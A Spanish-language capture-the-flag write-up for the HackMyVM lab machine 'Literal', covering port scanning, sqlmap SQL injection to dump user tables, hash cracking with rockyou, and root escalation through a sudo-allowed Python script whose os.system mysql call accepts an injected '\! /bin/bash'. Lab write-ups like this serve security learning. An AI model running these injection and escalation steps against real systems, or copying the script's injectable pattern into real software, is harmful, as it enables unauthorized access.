HackMyVM - Literal

logo

  • SQL injection
  • Hash Cracking
  • sudo abuse python script

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.14

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.14

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 30ca559468338b5042f4c2b5139966fe (RSA)
|   256 2db05e6b96bd0be314fbe0d058845085 (ECDSA)
|_  256 92d92a5d6f58db8556d60c9968b85964 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://blog.literal.hmv
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: blog.literal.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Si intento ir a la web me redirige automáticamente al subdominio blog.literal.hmv.

puerto80

Añado el subdominio al archivo hosts de mi equipo y me conecto de nuevo a la web.

blog

Me voy a login, creo un usuario y me logueo.

hi_noname

Hago click en Check what projects I'm working on y veo una lista.

noname_next_projects

Después de interceptar la petición con burpsuite la guardo a un fichero con copy to file y le doy el nombre de burp.

puerto80

Ahora utilizo el fichero que he guardado anteriormente para usarlo con sqlmap y buscar el nombre de la base de datos.

❯ sqlmap -r burp --level 5 --risk 3 --dbs
[20:27:45] [INFO] fetching database names
available databases [4]:
[*] blog
[*] information_schema
[*] mysql
[*] performance_schema

Buscando las tablas de blog.

❯ sqlmap -r burp --level 5 --risk 3 -D blog --tables

[20:31:17] [INFO] fetching tables for database: 'blog'
Database: blog
[2 tables]
+----------+
| projects |
| users    |
+----------+

Dumpeando users.

❯ sqlmap -r burp --level 5 --risk 3 -D blog -T users --dump

dump_db_blog

Encuentro dos usuarios con un nuevo subdominio.

| 8      | walter    | walter@forumtesting.literal.hmv
| 11     | r1ch4rd   | r1ch4rd@forumtesting.literal.hmv

Añado el subdominio a mi archivo hosts y me conecto a el.

forumtesting

Le doy click a categories y veo el parámetro category_id=2.

forumtesting_category

Encuentro la base de datos forumtesting.

sqlmap -u "http://forumtesting.literal.hmv/category.php?category_id=2" 
--level 5 --risk 3 --dbs

[21:01:30] [INFO] retrieved: forumtesting
available databases [3]:
[*] forumtesting
[*] information_schema
[*] performance_schema

Obtengo las tablas.

❯ sqlmap -u "http://forumtesting.literal.hmv/category.php?category_id=2" --level 5 --risk 3 -D forumtesting --tables

[21:04:36] [INFO] retrieved: forum_users
Database: forumtesting
[5 tables]
+----------------+
| forum_category |
| forum_owner    |
| forum_posts    |
| forum_topics   |
| forum_users    |
+----------------+

Dumpeo forum_owner y obtengo un hash para carlos.

❯ sqlmap -u "http://forumtesting.literal.hmv/category.php?category_id=2" --level 5 --risk 3 -D forumtesting -T forum_owner --dump

[21:07:43] [INFO] retrieved: 2022-02-12
[21:07:43] [INFO] retrieved: carlos@forumtesting.literal.htb
[21:07:44] [INFO] retrieved: 1
[21:07:44] [INFO] retrieved: 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99
[21:07:49] [INFO] retrieved: carlos
[21:07:49] [INFO] recognized possible password hashes in column 'password'

Para romper el hash usaré el mismo sqlmap ya que nos ofrece esa opción y es bastante intuitivo.

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[21:14:27] [INFO] writing hashes to a temporary file '/tmp/sqlmaps0oti3_q65473/sqlmaphashes-9njg5mis.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[21:14:28] [INFO] using hash method 'sha512_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 2
what's the custom dictionary's location?
> /usr/share/wordlists/rockyou.txt
[21:14:46] [INFO] using custom dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[21:14:51] [INFO] starting dictionary-based cracking (sha512_generic_passwd)
[21:14:51] [INFO] starting 4 processes 
[21:15:13] [INFO] cracked password 'forum******' for user 'carlos'

Este paso es un poco troll porque una vez obtienes la contraseña hay que deducir que formato tendría la contraseña para SSH. Digamos que se puede reutilizar pero cambiando algunos carácteres.

Me conecto al sistema y verifico que permisos tengo con sudo.

carlos@literal:~$ sudo -l
Matching Defaults entries for carlos on literal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
User carlos may run the following commands on literal:
    (root) NOPASSWD: /opt/my_things/blog/update_project_status.py *

Archivo update_project_status.py.

#!/usr/bin/python3

# Learning python3 to update my project status
## (mental note: This is important, so administrator is my safe to avoid upgrading records by mistake) :P
    
'''
References:
* MySQL commands in Linux: https://www.shellhacks.com/mysql-run-query-bash-script-linux-command-line/
* Shell commands in Python: https://stackabuse.com/executing-shell-commands-with-python/
* Functions: https://www.tutorialspoint.com/python3/python_functions.htm
* Arguments: https://www.knowledgehut.com/blog/programming/sys-argv-python-examples
* Array validation: https://stackoverflow.com/questions/7571635/fastest-way-to-check-if-a-value-exists-in-a-list
* Valid if root is running the script: https://stackoverflow.com/questions/2806897/what-is-the-best-way-for-checking-if-the-user-of-a-script-has-root-like-privileg
'''
    
import os
import sys
from datetime import date
    
# Functions ------------------------------------------------.
def execute_query(sql):
    os.system("mysql -u " + db_user + " -D " + db_name + " -e \"" + sql + "\"")
    
# Query all rows
def query_all():
    sql = "SELECT * FROM projects;"
    execute_query(sql)
    
# Query row by ID
def query_by_id(arg_project_id):
    sql = "SELECT * FROM projects WHERE proid = " + arg_project_id + ";"
    execute_query(sql)
    
# Update database
def update_status(enddate, arg_project_id, arg_project_status):
    if enddate != 0:
        sql = f"UPDATE projects SET prodateend = '" + str(enddate) + "', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"
    else:
        sql = f"UPDATE projects SET prodateend = '2222-12-12', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"
    
    execute_query(sql)
    
# Main program
def main():
    # Fast validation
    try:
        arg_project_id = sys.argv[1]
    except:
        arg_project_id = ""
    
    try:
        arg_project_status = sys.argv[2]
    except:
        arg_project_status = ""
    
    if arg_project_id and arg_project_status: # To update
        # Avoid update by error
        if os.geteuid() == 0:
            array_status = ["Done", "Doing", "To do"]
            if arg_project_status in array_status:
                print("[+] Before update project (" + arg_project_id + ")\n")
                query_by_id(arg_project_id)
    
                if arg_project_status == 'Done':
                    update_status(date.today(), arg_project_id, arg_project_status)
                else:
                    update_status(0, arg_project_id, arg_project_status)
            else:
                print("Bro, avoid a fail: Done - Doing - To do")
                exit(1)
    
            print("\n[+] New status of project (" + arg_project_id + ")\n")
            query_by_id(arg_project_id)
        else:
            print("Ejejeeey, avoid mistakes!")
            exit(1)
    
    elif arg_project_id:
            query_by_id(arg_project_id)
    else:
        query_all()
    
# Variables ------------------------------------------------.
db_user = "carlos"
db_name = "blog"
    
# Main program
main()

Obtengo el root de la siguiente forma.

carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py '\! /bin/bash' 'To do'
[+] Before update project (\! /bin/bash)
    
root@literal:/home/carlos# id;hostname
uid=0(root) gid=0(root) groups=0(root)

Si se lanza el script con esos parámetros, el programa intentará actualizar el estado de un proyecto con el ID “!/bin/bash” y el estado “To do”. Además el programa también comprueba que el usuario que ejecuta el script tenga permisos de root. Si se ejecuta con “sudo”, esto se cumplirá.

Y con esto resolvemos la máquina Literal.